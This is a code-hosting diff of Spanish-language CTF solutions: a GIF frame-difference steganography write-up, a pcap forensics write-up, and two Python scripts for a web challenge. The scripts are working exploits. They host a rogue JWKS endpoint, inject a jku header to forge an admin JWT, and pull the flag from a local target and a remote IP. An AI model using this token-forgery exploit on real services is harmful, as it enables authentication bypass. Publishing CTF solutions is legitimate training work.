Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added 2024/CIA/Static/Recursos/static.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
10 changes: 10 additions & 0 deletions 2024/CIA/Static/solve.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#!/bin/bash

mkdir "results" "results/frames" "results/differences"

convert "Recursos/static.gif" "results/frames/%03d.png"

for i in $(seq -w 0 118); do
j=$(printf "%03d" $((10#$i + 1)))
compare "results/frames/${i}.png" "results/frames/${j}.png" "results/differences/${i}_${j}.png"
done
71 changes: 71 additions & 0 deletions 2024/CIA/Static/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@

# Static

## Información

**URL**

https://teams.duckerz.ru/categories/Steganography/43

**Categoria**

Esteganografía

**Descripción**

Stierlitz turned on the TV.

Static started running on the screen.

Stierlitz got indignant and asked him not to run on the TV.

**Recursos**

- static.gif

## Resolución

Para la resolución del desafío se aplicó un enfoque de análisis esteganográfico a nivel de frames, partiendo de la hipótesis de que la información oculta se encontraba distribuida a lo largo de las imágenes que componen el archivo GIF.

**Extracción de frames**

En primer lugar, se procedió a la extracción de todos los frames del archivo GIF proporcionado. Para ello se utilizó la herramienta `convert` de ImageMagick, que permite descomponer un GIF animado en sus imágenes constituyentes:

```bash
$ convert static.gif frame_%03d.png
```

Como resultado de este proceso, se obtuvieron un total de 120 imágenes en formato PNG, numeradas secuencialmente desde `frame_000.png` hasta `frame_119.png`, correspondientes a cada uno de los frames del GIF original.

**Comparación secuencial de imágenes**

Una vez extraídos los frames, se realizó una comparación secuencial entre imágenes consecutivas, con el objetivo de identificar diferencias visuales mínimas que pudieran contener información esteganográfica.

Para ello se utilizó la herramienta `compare` (también perteneciente a ImageMagick), la cual genera una imagen diferencial que resalta los píxeles distintos entre dos imágenes. Conceptualmente, el procedimiento consistió en comparar cada frame con su inmediato sucesor:

```bash
$ compare frame_000.png frame_001.png diff_000_001.png
$ compare frame_001.png frame_002.png diff_001_002.png
...
```

Este proceso se automatizó mediante un script en bash para realizar la comparación de manera global y sistemática:

```bash
for i in $(seq -w 0 118); do
j=$(printf "%03d" $((10#$i + 1)))
compare frame_${i}.png frame_${j}.png diff_${i}_${j}.png
done
```

De esta forma, se generó un conjunto de imágenes diferenciales (`diff_XXX_YYY.png`), cada una representando los cambios entre dos frames consecutivos.

**Identificación de la información oculta**

Tras analizar las imágenes resultantes de la comparación, se observó que la información oculta (flag) se hacía visible de manera progresiva en las imágenes diferenciales. En particular, la flag podía reconstruirse visualmente siguiendo la secuencia de imágenes generadas a partir de las comparaciones, comenzando desde la primera comparación hasta la comparación 40 (a partir de aca, las comparaciones repiten la flag).

Este comportamiento confirma el uso de una técnica de esteganografía basada en variaciones sutiles entre frames consecutivos, donde el mensaje no es perceptible en los frames individuales, pero sí emerge claramente al analizar sus diferencias.

## Flag

DUCKERZ{wh1t3_n0153_0f_d00m_4nd_d3sp41r}
Binary file added 2024/CIA/VroomVroom/VroomVroom.pcapng
Binary file not shown.
Binary file added 2024/CIA/VroomVroom/images/captura_1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2024/CIA/VroomVroom/images/captura_2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2024/CIA/VroomVroom/images/captura_3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
70 changes: 70 additions & 0 deletions 2024/CIA/VroomVroom/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
# Writeup: Врум-Врум отменяется (Duckerz CTF)
*(Vroom-Vroom está cancelado)*

**Categoría:** Forensics
**URL:** https://teams.duckerz.ru/categories/Forensics/27

---

## 📄 Descripción del desafío

> Моя машина стала барахлить, проверь дамп с шины данных, может найдёшь что-нибудь интересное.
>
> *Mi auto empezó a funcionar mal, revisa el volcado del bus de datos, tal vez encuentres algo interesante.*

---

## 📁 Archivos provistos

- `VroomVroom.pcapng` - Captura de tráfico de red

---

![Ejercicio](./images/captura_1.png)

## 🔍 Análisis y resolución

### Inspección inicial

Al abrir el archivo de captura en **Wireshark**, se observa una gran cantidad de paquetes correspondientes a distintos protocolos. Para reducir el ruido inicial y enfocarnos en tráfico potencialmente relevante, se decide comenzar filtrando el protocolo **HTTP**, ya que suele contener información legible y es común encontrar datos de interés en este tipo de tráfico.

### Identificación del vector de ataque

Durante el análisis del tráfico HTTP, se detectan múltiples solicitudes realizadas mediante el método **POST** que contienen un campo personalizado denominado `custom-message`. Este campo incluye tres subcampos:

- `custom_message_name`
- `custom_message_value`
- `custom_message_event`

![Filtrado http](./images/captura_2.png)

### Filtrado específico

Para aislar estas solicitudes y facilitar el análisis, se aplica el siguiente filtro en Wireshark:
```text
http.request.method == "POST"
```

![Filtrado post](./images/captura_3.png)

### Extracción de la flag

Al inspeccionar los valores de los campos en cada paquete POST, se observa un patrón revelador:

- El campo `custom_message_name` contiene consistentemente la palabra **"flag"**
- El campo `custom_message_value` contiene **una única letra** en cada paquete

Analizando la secuencia completa de paquetes y concatenando los valores individuales de `custom_message_value` en orden, se reconstruye el mensaje completo: DUCKERZ{c4n_f0r_DuCk5}

---

## 🚩 Flag
```text
DUCKERZ{c4n_f0r_DuCk5}
```

---

## 💡 Conclusión

Este desafío demuestra la importancia de analizar el tráfico HTTP en capturas de red y prestar atención a campos personalizados que pueden contener información fragmentada. La flag estaba dividida carácter por carácter a través de múltiples solicitudes POST, requiriendo su reconstrucción manual o mediante scripting.
77 changes: 77 additions & 0 deletions 2024/CIA/cathat/exploit_local.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
import jwt
import json
import requests
import time
import re
import sys
import warnings
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading

# Suprimir warnings y logs
warnings.filterwarnings("ignore")
class QuietHandler(BaseHTTPRequestHandler):
def log_message(self, *args): pass

# Configuración
TARGET = "http://localhost:5000"
JWKS_PORT = 8080
SECRET_KEY = "pwned_secret_key_123"

class JWKSHandler(QuietHandler):
def do_GET(self):
if self.path == "/jwks.json":
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({
"keys": [{
"kty": "RSA",
"kid": "pwned",
"n": SECRET_KEY,
"use": "sig",
"alg": "HS256"
}]
}).encode())

def start_server():
server = HTTPServer(("0.0.0.0", JWKS_PORT), JWKSHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
return server

def exploit():
# 1. Registro
user = f"u{int(time.time())}"
requests.post(f"{TARGET}/register", json={"username": user, "password": "p"}, timeout=5)

# 2. Login
r = requests.post(f"{TARGET}/login", json={"username": user, "password": "p"}, timeout=5)
token = r.json()["token"]
payload = jwt.decode(token, options={"verify_signature": False})

# 3. Crear token admin
payload["is_admin"] = True
admin_token = jwt.encode(
payload,
SECRET_KEY.encode(),
algorithm="HS256",
headers={"alg": "HS256", "typ": "JWT", "kid": "pwned", "jku": f"http://host.docker.internal:{JWKS_PORT}/jwks.json"}
)

# 4. Obtener flag
time.sleep(0.5)
r = requests.get(f"{TARGET}/", cookies={"token": admin_token}, timeout=5)

if r.status_code == 200:
flags = re.findall(r'(DUCKERZ\{[^}]+\}|FLAG\{[^}]+\}|HTB\{[^}]+\})', r.text, re.IGNORECASE)
print(f"{flags[0]}")

if __name__ == "__main__":
server = start_server()
time.sleep(0.5)
try:
exploit()
except:
pass
finally:
server.shutdown()
130 changes: 130 additions & 0 deletions 2024/CIA/cathat/exploit_remoto.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,130 @@
import jwt
import json
import requests
import time
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
import warnings
import sys
import os

# Suprimir warnings de jwt (InsecureKeyLengthWarning)
warnings.filterwarnings("ignore", category=UserWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning)

# Deshabilitar logs del servidor HTTP
class QuietHTTPHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
# Sobrescribir para no imprimir nada
pass

# Redirigir stderr a devnull (para eliminar logs del servidor)
sys.stderr = open(os.devnull, 'w')

# Configuración
TARGET = "http://94.19.79.169:20005"
NGROK_URL = "https://nonmetaphorically-agriological-dangelo.ngrok-free.dev"
JWKS_SERVER_PORT = 8080
SECRET_KEY = "pwned_secret_key_123"

# Servidor JWKS
class MaliciousJWKSHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/jwks.json":
malicious_jwks = {
"keys": [{
"kty": "RSA",
"kid": "pwned",
"n": SECRET_KEY,
"use": "sig",
"alg": "HS256"
}]
}

self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(json.dumps(malicious_jwks).encode())
else:
self.send_response(404)
self.end_headers()

def start_jwks_server():
server = HTTPServer(("0.0.0.0", JWKS_SERVER_PORT), MaliciousJWKSHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server

# Exploit
def exploit():
ngrok_url = NGROK_URL.rstrip('/')
jku_url = f"{ngrok_url}/jwks.json"

# PASO 1: Registro
username = f"hacker_{int(time.time())}"
try:
requests.post(f"{TARGET}/register",
json={"username": username, "password": "password123"},
timeout=10)
except:
return

# PASO 2: Login
try:
r = requests.post(f"{TARGET}/login",
json={"username": username, "password": "password123"},
timeout=10)
token = r.json()["token"]
payload = jwt.decode(token, options={"verify_signature": False})
except:
return

# PASO 3: Crear token admin
payload["is_admin"] = True
malicious_header = {
"alg": "HS256",
"typ": "JWT",
"kid": "pwned",
"jku": jku_url
}

admin_token = jwt.encode(
payload,
SECRET_KEY.encode(),
algorithm="HS256",
headers=malicious_header
)

# PASO 4: Obtener FLAG
time.sleep(1)
try:
cookies = {"token": admin_token}
r = requests.get(f"{TARGET}/", cookies=cookies, timeout=10)

if r.status_code == 200:
# Buscar flag - ÚNICO CONSOLE.LOG/PRINT
import re
flags = re.findall(r'(DUCKERZ\{[^}]+\}|HTB\{[^}]+\}|FLAG\{[^}]+\})',
r.text, re.IGNORECASE)
real_flags = [f for f in flags if "fake" not in f.lower()]

if real_flags:
print(real_flags[0]) # ← ÚNICO PRINT PARA LA FLAG
except:
pass

# Main
def main():
server = start_jwks_server()
time.sleep(1)

try:
exploit()
except:
pass
finally:
server.shutdown()

if __name__ == "__main__":
main()
Binary file added 2024/CIA/cathat/img/captura_local.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2024/CIA/cathat/img/captura_remoto.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2024/CIA/cathat/img/cathat.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2024/CIA/cathat/img/web_home.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2024/CIA/cathat/img/web_login.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2024/CIA/cathat/img/web_register.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2024/CIA/cathat/recurso/cathat.zip
Binary file not shown.
Loading